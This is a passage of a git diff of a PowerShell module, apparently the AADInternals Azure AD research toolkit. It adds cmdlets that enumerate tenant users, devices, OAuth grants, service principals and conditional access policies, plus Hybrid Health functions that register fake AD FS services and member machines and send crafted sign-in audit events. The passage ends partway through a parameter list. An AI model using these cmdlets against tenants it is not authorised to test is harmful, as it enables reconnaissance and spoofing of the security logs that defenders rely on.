[String]$SearchString,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName
)
Process
{
if(![string]::IsNullOrEmpty($SearchString))
{
$queryString="`$filter=(startswith(displayName,'$SearchString') or startswith(userPrincipalName,'$SearchString'))"
}
elseif(![string]::IsNullOrEmpty($UserPrincipalName))
{
$queryString="`$filter=userPrincipalName eq '$UserPrincipalName'"
}
$results=Call-GraphAPI -AccessToken $AccessToken -Command users -QueryString $queryString
return $results
}
}
# Gets the tenant details
function Get-TenantDetails
{
<#
.SYNOPSIS
Extract tenant details using the given Access Token
.DESCRIPTION
Extract tenant details using the given Access Token
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Example
PS C:\>$token=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntTenantDetails -AccessToken $token
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Call the API
$response=Call-GraphAPI -AccessToken $AccessToken -Command tenantDetails
# Verbose
Write-Verbose "TENANT INFORMATION: $($response.value | Out-String)"
# Return
$response
}
}
# Gets the tenant devices
# Jun 24th 2020
function Get-Devices
{
<#
.SYNOPSIS
Extracts tenant devices using the given Access Token
.DESCRIPTION
Extracts tenant devices using the given Access Token
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Example
PS C:\>$token=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntDevices -AccessToken $token
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Call the API
$response=Call-GraphAPI -AccessToken $AccessToken -Command devices -QueryString "`$expand=registeredOwner"
# Return
$response
}
}
# Gets detailed information about the given user
# Jun 24th 2020
function Get-UserDetails
{
<#
.SYNOPSIS
Extracts detailed information of the given user
.DESCRIPTION
Extracts detailed information of the given user
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Parameter UserPrincipalName
The user principal name of the user whose details is to be extracted
.Example
PS C:\>$token=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntUserDetails -AccessToken $token
odata.type : Microsoft.DirectoryServices.User
objectType : User
objectId : cd5676ad-ba80-4782-bdcb-ff5de37fc347
deletionTimestamp :
acceptedAs :
acceptedOn :
accountEnabled : True
ageGroup :
alternativeSecurityIds : {}
signInNames : {user@company.com}
signInNamesInfo : {}
appMetadata :
assignedLicenses : {@{disabledPlans=System.Object[]; skuId=c7df2760-2c81-4ef7-b578-5b5392b571df}, @{disabledPlans=System.Object[]; skuId=b05e124f-c7cc-45a0-a6aa-8cf78c946968}}
assignedPlans : {@{assignedTimestamp=2019-12-02T07:41:59Z; capabilityStatus=Enabled; service=MultiFactorService; servicePlanId=8a256a2b-b617-496d-b51b-e76466e88db0}, @{assignedTimestamp=2019-12-02T07
:41:59Z; capabilityStatus=Enabled; service=exchange; servicePlanId=34c0d7a0-a70f-4668-9238-47f9fc208882}, @{assignedTimestamp=2019-12-02T07:41:59Z; capabilityStatus=Enabled; service=P
owerBI; servicePlanId=70d33638-9c74-4d01-bfd3-562de28bd4ba}, @{assignedTimestamp=2019-12-02T07:41:59Z; capabilityStatus=Enabled; service=WhiteboardServices; servicePlanId=4a51bca5-1ef
f-43f5-878c-177680f191af}...}
city :
cloudAudioConferencingProviderInfo : <acpList>
<acpInformation default="true">
<tollNumber>18728886261</tollNumber>
<participantPassCode>0</participantPassCode>
<domain>resources.lync.com</domain>
<name>Microsoft</name>
<url>https://dialin.lync.com/c73270cd-afd0-4f70-8328-747f36508d85</url>
</acpInformation>
</acpList>
cloudMSExchRecipientDisplayType : 1073741824
cloudMSRtcIsSipEnabled : True
cloudMSRtcOwnerUrn :
...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$UserPrincipalName
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Url encode for external users, replace # with %23
$UserPrincipalName = $UserPrincipalName.Replace("#","%23")
# Call the API
$response=Call-GraphAPI -AccessToken $AccessToken -Command "users/$UserPrincipalName"
# Return
$response
}
}
# Gets tenant's Azure AD settings
# Jun 24th 2020
function Get-Settings
{
<#
.SYNOPSIS
Extracts Azure AD settings
.DESCRIPTION
Extracts Azure AD settings
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Example
PS C:\>$token=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntSettings -AccessToken $token
id displayName templateId values
-- ----------- ---------- ------
8b16b029-bb31-48c8-b4df-5ee419596688 Password Rule Settings 5cf42378-d67d-4f36-ba46-e8b86229381d {@{name=BannedPasswordCheckOnPremisesMode; value=Audit}, @{name=EnableBannedPasswordCheckOnPremises; value=True}, @{name=En...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Call the API
$response=Call-GraphAPI -AccessToken $AccessToken -Command "settings"
# Return
$response
}
}
# Gets tenant's OAuth grants
# Jun 24th 2020
function Get-OAuthGrants
{
<#
.SYNOPSIS
Extracts Azure AD OAuth grants
.DESCRIPTION
Extracts Azure AD OAuth grants
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Example
PS C:\>$token=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntOAuthGrants -AccessToken $token
id displayName templateId values
-- ----------- ---------- ------
8b16b029-bb31-48c8-b4df-5ee419596688 Password Rule Settings 5cf42378-d67d-4f36-ba46-e8b86229381d {@{name=BannedPasswordCheckOnPremisesMode; value=Audit}, @{name=EnableBannedPasswordCheckOnPremises; value=True}, @{name=En...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Call the API
$response=Call-GraphAPI -AccessToken $AccessToken -Command "oauth2PermissionGrants"
# Return
$response
}
}
# Gets tenant's service principals
# Jun 24th 2020
function Get-ServicePrincipals
{
<#
.SYNOPSIS
Extracts Azure AD service principals
.DESCRIPTION
Extracts Azure AD service principals. If client id(s) are provided, show detailed information.
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Parameter ClientIds
List of client ids to get detailed information.
.Example
PS C:\>Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Get-AADIntServicePrincipals
AccountEnabled : true
Addresses :
AppPrincipalId : d32c68ad-72d2-4acb-a0c7-46bb2cf93873
DisplayName : Microsoft Activity Feed Service
ObjectId : 321e7bdd-d7b0-4a64-8eb3-38c259c1304a
ServicePrincipalNames : ServicePrincipalNames
TrustedForDelegation : false
AccountEnabled : true
Addresses : Addresses
AppPrincipalId : 0000000c-0000-0000-c000-000000000000
DisplayName : Microsoft App Access Panel
ObjectId : a9e03f2f-4471-41f2-96c5-589d5d7117bc
ServicePrincipalNames : ServicePrincipalNames
TrustedForDelegation : false
AccountEnabled : true
Addresses :
AppPrincipalId : dee7ba80-6a55-4f3b-a86c-746a9231ae49
DisplayName : Microsoft AppPlat EMA
ObjectId : ae0b81fc-c521-4bfd-9eaa-04c520b4b5fd
ServicePrincipalNames : ServicePrincipalNames
TrustedForDelegation : false
AccountEnabled : true
Addresses : Addresses
AppPrincipalId : 65d91a3d-ab74-42e6-8a2f-0add61688c74
DisplayName : Microsoft Approval Management
ObjectId : d8ec5b95-e5f6-416e-8e7c-c6c52ec5a11f
ServicePrincipalNames : ServicePrincipalNames
TrustedForDelegation : false
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String[]]$ClientIds
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# If client id(s) are provided, get only those (with extra information)
if($ClientIds)
{
$body = @{
"appIds" = $ClientIds
}
# Call the API
Call-GraphAPI -AccessToken $AccessToken -Command "getServicePrincipalsByAppIds" -Body ($body | ConvertTo-Json) -Method Post -QueryString "`$Select="
}
else
{
# Call the Provisioning API
Get-ServicePrincipals2 -AccessToken $AccessToken
}
}
}
# Gets tenant's conditional access policies
# Apr 8th 2021
function Get-ConditionalAccessPolicies
{
<#
.SYNOPSIS
Shows conditional access policies.
.DESCRIPTION
Shows conditional access policies.
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Example
PS C:\>Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Get-AADIntConditionalAccessPolicies
odata.type : Microsoft.DirectoryServices.Policy
objectType : Policy
objectId : e35e4cd3-53f8-4d65-80bb-e3279c2c1b71
deletionTimestamp :
displayName : On-Premise Authentication Flow Policy
keyCredentials : {**}
policyType : 8
policyDetail : {**}
policyIdentifier :
tenantDefaultPolicy : 8
odata.type : Microsoft.DirectoryServices.Policy
objectType : Policy
objectId : 259b810f-fb50-4e57-925b-ec2292c17883
deletionTimestamp :
displayName : 2/5/2021 5:53:07 AM
keyCredentials : {}
policyType : 10
policyDetail : {{"SecurityPolicy":{"Version":0,"SecurityDefaults":{"IgnoreBaselineProtectionPolicies":true,"I
sEnabled":false}}}}
policyIdentifier :
tenantDefaultPolicy : 10
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Call the API
Call-GraphAPI -AccessToken $AccessToken -Command "policies" -Method Get
}
}
+53
View File
@@ -0,0 +1,53 @@
# This script contains utility functions for Graph API at https://graph.windows.net
# Office 365 / Azure AD v2, a.k.a. AzureAD module uses this API
# Calls the provisioning SOAP API
function Call-GraphAPI
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Command,
[Parameter(Mandatory=$False)]
[String]$ApiVersion="1.61-internal",
[Parameter(Mandatory=$False)]
[ValidateSet('Put','Get','Post','Delete','Patch')]
[String]$Method="Get",
[Parameter(Mandatory=$False)]
$Body,
[Parameter(Mandatory=$False)]
$Headers,
[Parameter(Mandatory=$False)]
[String]$QueryString
)
Process
{
# Set the required variables
$TenantID = (Read-Accesstoken $AccessToken).tid
if($Headers -eq $null)
{
$Headers=@{}
}
$Headers["Authorization"] = "Bearer $AccessToken"
# Call the API
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://graph.windows.net/$TenantId/$Command`?api-version=$ApiVersion$(if(![String]::IsNullOrEmpty($QueryString)){"&$QueryString"})" -ContentType "application/json; charset=utf-8" -Method $Method -Body $Body -Headers $Headers -ErrorAction SilentlyContinue
# Return
if($response.value)
{
return $response.value
}
else
{
return $response
}
}
}
+808
View File
@@ -0,0 +1,808 @@
# Creates a new ADHybridHealthService
# Jun 7th 2021
function New-HybridHealthService
{
<#
.SYNOPSIS
Creates a new ADHybridHealthService
.DESCRIPTION
Creates a new ADHybridHealthService
.Parameter AccessToken
The access token used to create ADHybridHealthServices.
.Parameter Service
Which kind of service to create. Can be one of: "AdFederationService","AadSyncService"
Defaults to AdFederationService
.Parameter DisplayName
Display name of the service. Usually host name of the AD FS service, like sts.company.com
.Parameter Signature
The issuer uri of the AD FS service. Usually same as the display name, like sts.company.com
.Parameter Disabled
Whether the service is disabled or not. Defaults to $False
.Parameter Health
Health of the service. Can be one of: "Healthy","NotMonitored","Error"
Defaults to "Healthy"
.Example
New-AADIntHybridHealthService -Service AdFederationService -DisplayName sts.company.com -Signature sts.company.com
activeAlerts : 0
additionalInformation :
createdDate : 2021-05-05T07:13:45.0508805Z
customNotificationEmails :
disabled : False
displayName : sts.company.com
health : Healthy
lastDisabled :
lastUpdated : 0001-01-01T00:00:00
monitoringConfigurationsComputed :
monitoringConfigurationsCustomized :
notificationEmailEnabled : True
notificationEmailEnabledForGlobalAdmins : True
notificationEmails :
notificationEmailsEnabledForGlobalAdmins : False
resolvedAlerts : 0
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
serviceMembers :
serviceName : AdFederationService-sts.company.com
signature : sts.company.com
simpleProperties :
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
type : AdFederationService
originalDisabledState : False
id : /providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[ValidateSet("AdFederationService","AadSyncService")]
[String]$Type = "AdFederationService",
[Parameter(Mandatory=$True)]
[String]$DisplayName,
[Parameter(Mandatory=$True)]
[String]$Signature
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"x-ms-client-request-id" = (New-Guid).ToString()
}
# Create the body
$body = [ordered]@{
"ActiveAlerts" = 0
"AdditionalInformation" = $null
"CreatedDate" = "0001-01-01T00:00:00"
"CustomNotificationEmails" = $null
"Disabled" = $False
"DisplayName" = $DisplayName
"Health" = "Healthy"
"LastDisabled" = $null
"LastUpdated" = "0001-01-01T00:00:00"
"MonitoringConfigurationsComputed" = $null
"MonitoringConfigurationsCustomized" = $null
"NotificationEmailEnabled" = $null
"NotificationEmailEnabledForGlobalAdmins" = $null
"NotificationEmails" = $null
"NotificationEmailsEnabledForGlobalAdmins" = $false
"ResolvedAlerts" = 0
"ServiceId" = $null
"ServiceMembers" = $null
"ServiceName" = $null
"Signature" = $Signature
"SimpleProperties" = $null
"TenantId" = $null
"Type" = $Type
"OriginalDisabledState" = $false
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services?api-version=2014-01-01" -Headers $headers -Body ($body | ConvertTo-Json) -ContentType "application/json; charset=utf-8"
# Return the service object
$response
}
}
# Lists ADHybridHealthServices
# May 26th 2021
function Get-HybridHealthServices
{
<#
.SYNOPSIS
Gets ADHybridHealthServices
.DESCRIPTION
Gets ADHybridHealthServices
.Parameter AccessToken
The access token used to get ADHybridHealthServices.
.Parameter Service
Which kind of services to return.
.Example
Get-AADIntHybridHealthServices -Service AdFederationService
activeAlerts : 3
additionalInformation :
createdDate : 2021-05-05T07:13:45.0508805Z
customNotificationEmails :
disabled : False
displayName : sts.company.com
health : Error
lastDisabled :
lastUpdated : 2021-05-06T06:04:20.6537234Z
monitoringConfigurationsComputed :
monitoringConfigurationsCustomized :
notificationEmailEnabled : True
notificationEmailEnabledForGlobalAdmins : True
notificationEmails :
notificationEmailsEnabledForGlobalAdmins : False
resolvedAlerts : 1
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
serviceMembers :
serviceName : AdFederationService-sts.company.com
signature : sts.company.com
simpleProperties :
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
type : AdFederationService
originalDisabledState : False
id : /providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com
.Example
PS C:\>Get-AADIntHybridHealthServices -Service AdFederationService | ft serviceName
serviceName
-----------
AdFederationService-sts.company.com
AdFederationService-sts.contoso.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[ValidateSet("AdFederationService","AadSyncService")]
[String]$Service="AdFederationService"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
$url="https://management.azure.com/providers/Microsoft.ADHybridHealthService/services?api-version=2014-01-01"
if($Service)
{
$url += "&serviceType=$Service"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri $url -Headers $headers
# Return services
$response.value
}
}
# Removes the ADHybridHealthService
# Jun 7th 2021
function Remove-HybridHealthService
{
<#
.SYNOPSIS
Removes existing ADHybridHealthService
.DESCRIPTION
Removes existing ADHybridHealthService
.Parameter AccessToken
The access token used to get ADHybridHealthServices.
.Parameter ServiceName
Name of the service to be removed
.Example
Remove-AADIntHybridHealthService -ServiceName AdFederationService-sts.company.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$ServiceName
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"x-ms-client-request-id" = (New-Guid).ToString()
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Delete -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services/$ServiceName`?api-version=2014-01-01" -Headers $headers
# Return the service object
$response
}
}
# Get ADHybridHealthService members
# Jun 7th 2021
function Get-HybridHealthServiceMembers
{
<#
.SYNOPSIS
Gets ADHybridHealthService members
.DESCRIPTION
Gets ADHybridHealthService members
.Parameter AccessToken
The access token used to get ADHybridHealthService members.
.Parameter ServiceName
Name of the ADHybridHealthService
.Example
Get-AADIntHybridHealthServiceMembers -ServiceName "AdFederationService-sts.company.com"
lastReboot : 2021-03-16T08:17:19.0912Z
lastDisabled :
lastUpdated : 2021-06-07T11:36:34.6667535Z
activeAlerts : 1
resolvedAlerts : 1
createdDate : 0001-01-01T00:00:00
disabled : False
dimensions :
additionalInformation :
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
serviceMemberId : bec07a23-dd4a-4c80-8c92-9b9dc089f75c
machineId : 0cf2774f-a188-4bd3-b4b3-3a690374325d
machineName : SERVER
role : AdfsServer_2016
status : Warning
properties :
installedQfes :
recommendedQfes :
monitoringConfigurationsComputed :
monitoringConfigurationsCustomized :
osVersion : 10.0.17763.0
osName : Microsoft Windows Server 2019 Standard
disabledReason : 0
serverReportedMonitoringLevel :
lastServerReportedMonitoringLevelChange :
lastReboot : 0001-01-01T00:00:00
lastDisabled :
lastUpdated : 0001-01-01T00:00:00
activeAlerts : 0
resolvedAlerts : 0
createdDate : 0001-01-01T00:00:00
disabled : False
dimensions :
additionalInformation :
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
serviceMemberId : e4d72022-a268-4167-a964-1899b8baeaa5
machineId : f5e349d6-67fd-4f11-b489-d98980aa6cab
machineName : PROXY
role : AdfsProxy_21
status : Healthy
properties :
installedQfes :
recommendedQfes :
monitoringConfigurationsComputed :
monitoringConfigurationsCustomized :
osVersion :
osName :
disabledReason : 0
serverReportedMonitoringLevel :
lastServerReportedMonitoringLevelChange :
.Example
Get-AADIntHybridHealthServiceMembers -ServiceName "AdFederationService-sts.company.com" | ft machineName,serviceMemberId
machineName serviceMemberId
----------- ---------------
SERVER bec07a23-dd4a-4c80-8c92-9b9dc089f75c
PROXY e4d72022-a268-4167-a964-1899b8baeaa5
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$ServiceName
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"x-ms-client-request-id" = (New-Guid).ToString()
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services/$ServiceName/servicemembers?api-version=2014-01-01" -Headers $headers -Body ($Body | ConvertTo-Json) -ContentType "application/json; charset=utf-8"
# Return the service members
$response.value
}
}
# Create a new ADHybridHealthService members
# May 26th 2021
function New-HybridHealthServiceMember
{
<#
.SYNOPSIS
Adds a new ADHybridHealthService member
.DESCRIPTION
Adds a new ADHybridHealthService member
.Parameter AccessToken
The access token used to get ADHybridHealthService members.
.Parameter ServiceName
Name of the ADHybridHealthService
.Example
New-AADIntHybridHealthServiceMember -ServiceName AdFederationService-sts.company.com -MachineName "MyServer"
lastReboot : 0001-01-01T00:00:00Z
lastDisabled :
lastUpdated : 0001-01-01T00:00:00
activeAlerts : 0
resolvedAlerts : 0
createdDate : 2021-05-06T07:15:50.0087136Z
disabled : False
dimensions :
additionalInformation :
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
serviceMemberId : 0fce7ce0-81a0-4bf7-87fb-fc787dfe13c2
machineId : e9f8357d-8a25-4cef-8c6b-f0b3c916ead5
machineName : MyServer
role :
status : Healthy
properties :
installedQfes :
recommendedQfes :
monitoringConfigurationsComputed :
monitoringConfigurationsCustomized :
osVersion :
osName :
disabledReason : 0
serverReportedMonitoringLevel :
lastServerReportedMonitoringLevelChange :
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$ServiceName,
[Parameter(Mandatory=$False)]
[guid]$MachineId=(New-Guid),
[Parameter(Mandatory=$True)]
[String]$MachineName,
[Parameter(Mandatory=$False)]
[ValidateSet("AdfsServer_2x","AdfsProxy_2x","AdfsServer_21","AdfsProxy_21","AdfsServer_30","AdfsProxy_30","AdfsServer_2016","AdfsProxy_2016")]
[String]$MachineRole="AdfsServer_2016"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"x-ms-client-request-id" = (New-Guid).ToString()
}
# Create the body
$body= [ordered]@{
"LastReboot" = "0001-01-01T00:00:00"
"LastDisabled" = "0001-01-01T00:00:00"
"LastUpdated" = "0001-01-01T00:00:00"
"ActiveAlerts" = 0
"ResolvedAlerts" = 0
"CreatedDate" = "0001-01-01T00:00:00"
"Disabled" = $False
"Dimensions" = $null
"AdditionalInformation" = $null
"TenantId" = "00000000-0000-0000-0000-000000000000"
"ServiceId" = "00000000-0000-0000-0000-000000000000"
"ServiceMemberId" = "00000000-0000-0000-0000-000000000000"
"MachineId" = $MachineId.ToString()
"MachineName" = $MachineName
"Role" = $MachineRole
"Status" = $Status
"Properties" = $Null
"InstalledQfes" = $Null
"RecommendedQfes" = $Null
"MonitoringConfigurationsComputed" = $Null
"MonitoringConfigurationsCustomized" = $Null
"OsVersion" = $Null
"OsName" = $Null
"DisabledReason" = 0
"ServerReportedMonitoringLevel" = $Null
"LastServerReportedMonitoringLevelChange"= "0001-01-01T00:00:00"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services/$ServiceName/servicemembers?api-version=2014-01-01" -Headers $headers -Body ($Body | ConvertTo-Json) -ContentType "application/json; charset=utf-8"
# Return the service object
$response
}
}
# Remove ADHybridHealthService members
# Jun 14th 2021
function Remove-HybridHealthServiceMember
{
<#
.SYNOPSIS
Removes ADHybridHealthService member
.DESCRIPTION
Removes ADHybridHealthService member
.Parameter AccessToken
The access token used to get ADHybridHealthService members.
.Parameter ServiceName
Name of the ADHybridHealthService
.Parameter ServiceMemberId
Id of the ADHybridHealthService member to be removed
.Example
Remove-AADIntHybridHealthServiceMember -ServiceName AdFederationService-sts.company.com -ServiceMemberId 329485ce-9b5b-4652-ba72-acc41a455e92
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$ServiceName,
[Parameter(Mandatory=$True)]
[guid]$ServiceMemberId
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"x-ms-client-request-id" = (New-Guid).ToString()
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Delete -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services/$ServiceName/servicemembers/$ServiceMemberId`?confirm=false&api-version=2014-01-01" -Headers $headers
# Return the service object
$response
}
}
# Gets ADHybridHealthService monitoring policies
# May 29th 2021
function Get-HybridHealthServiceMonitoringPolicies
{
<#
.SYNOPSIS
Gets ADHybridHealthService monitoring policies.
.DESCRIPTION
Gets ADHybridHealthService monitoring policies.
.Parameter AccessToken
The access token used to get ADHybridHealthService monitoring policies
.Example
Get-AADIntHybridHealthServiceMonitoringPolicies -AccessToken $at
serviceType : AdFederationService
serviceId : 74b6a260-67a3-43ac-922f-ec7afe19649c
serviceMemberId : 52f7c09f-e6a4-41ff-b328-bb6a182e1aca
monitoringConfigurations : {@{key=AadPremium; value=True}, @{key=MonitoringLevel; value=Full}}
propertiesExtractorClassName : Microsoft.Identity.Health.Adfs.DataAccess.DataManager, Microsoft.Identity.Health.Adfs.DataAccess
dimensionTableEntityClassNameList :
roleType : AdfsServer_2016
moduleConfigurations : {@{agentService=ConnectorAgent; moduleName=adfs; properties=}, @{agentService=ConnectorAgent; moduleName=PowerShellCmdletMonitor; properties=}}
serviceType : AadSyncService
serviceId : 4ce7a4dd-0269-4ae1-a92c-88f381f11a33
serviceMemberId : fa657e9b-b609-470c-aa6a-9922d9f37e49
monitoringConfigurations : {@{key=MonitoringLevel; value=Off}, @{key=StagingMode; value=False}, @{key=ConfigurationUploadInterval; value=240},
@{key=RunProfileResultUploadInterval; value=30}...}
propertiesExtractorClassName : Microsoft.Identity.Health.AadSync.DataAccess.DataManager, Microsoft.Identity.Health.AadSync.DataAccess
dimensionTableEntityClassNameList :
roleType : AadSync_AadConnectSync_1.0
moduleConfigurations : {@{agentService=ConnectorAgent; moduleName=aadsync; properties=}}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken
)
Process
{
$headers = @{
"Authorization" = "Bearer $AccessToken"
"x-ms-client-request-id" = (New-Guid).ToString()
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://s1.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/monitoringpolicies" -Headers $headers
# Return upload key
$response
}
}
# Send the ADHybridHealthService events to Azure
# May 26th 2021
function Send-HybridHealthServiceEvents
{
<#
.SYNOPSIS
Sends the given AD FS audit events to Azure.
.DESCRIPTION
Sends the given AD FS audit events to Azure using ADHybridHealthService protocols.
.Parameter TenantId
Tenant ID
.Parameter ServiceID
ServiceID
.Parameter MachineId
Machine ID of the computer running the ADHybridHealthService.
.Parameter Events
An array of event objects.
.Example
PS C:\>Get-AADIntHybridHealthServiceMembers -ServiceName "AdFederationService-sts.company.com" | ft machineId,serviceId,tenantId
machineName machineId serviceId tenantId
----------- --------- --------- --------
SERVER 0cf2774f-a188-4bd3-b4b3-3a690374325d a0fae99d-083e-451c-9965-cc7a5851e4a8 b00133a8-b4e1-4c69-91d1-c0945e3e83c4
PROXY f5e349d6-67fd-4f11-b489-d98980aa6cab a0fae99d-083e-451c-9965-cc7a5851e4a8 b00133a8-b4e1-4c69-91d1-c0945e3e83c4
PS C:\>$agentKey = Get-Content "b00133a8-b4e1-4c69-91d1-c0945e3e83c4_f5e349d6-67fd-4f11-b489-d98980aa6cab_SERVER.txt"
PS C:\>$events = @()
PS C:\>$events += (New-AADIntHybridHealtServiceEvent -Server "Server" -UPN "user@company.com" -IPAddress "192.168.0.2")
PS C:\>Send-AADIntHybridHealthServiceEvents -AgentKey $agentKey -TenantId "b00133a8-b4e1-4c69-91d1-c0945e3e83c4" -MachineId "f5e349d6-67fd-4f11-b489-d98980aa6cab" -ServiceId "a0fae99d-083e-451c-9965-cc7a5851e4a8" -Events $events
.Example
PS C:\>$events = @()
PS C:\>$events += (New-AADIntHybridHealtServiceEvent -Server "Server" -UPN "user@company.com" -IPAddress "192.168.0.2")
PS C:\>$agentInfo = Get-AADIntHybridHealthServiceAgentInfo
PS C:\>Send-AADIntHybridHealthServiceEvents -AgentInfo $agentInfo -Events $events
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='Normal' ,Mandatory=$True)]
[String]$AgentKey,
[Parameter(ParameterSetName='Normal' ,Mandatory=$True)]
[guid]$MachineId,
[Parameter(ParameterSetName='Normal' ,Mandatory=$True)]
[guid]$TenantId,
[Parameter(ParameterSetName='Normal' ,Mandatory=$True)]
[guid]$ServiceId,
[Parameter(ParameterSetName='Normal' ,Mandatory=$True)]
[Parameter(ParameterSetName='AgentInfo',Mandatory=$True)]
[System.Array]$Events,
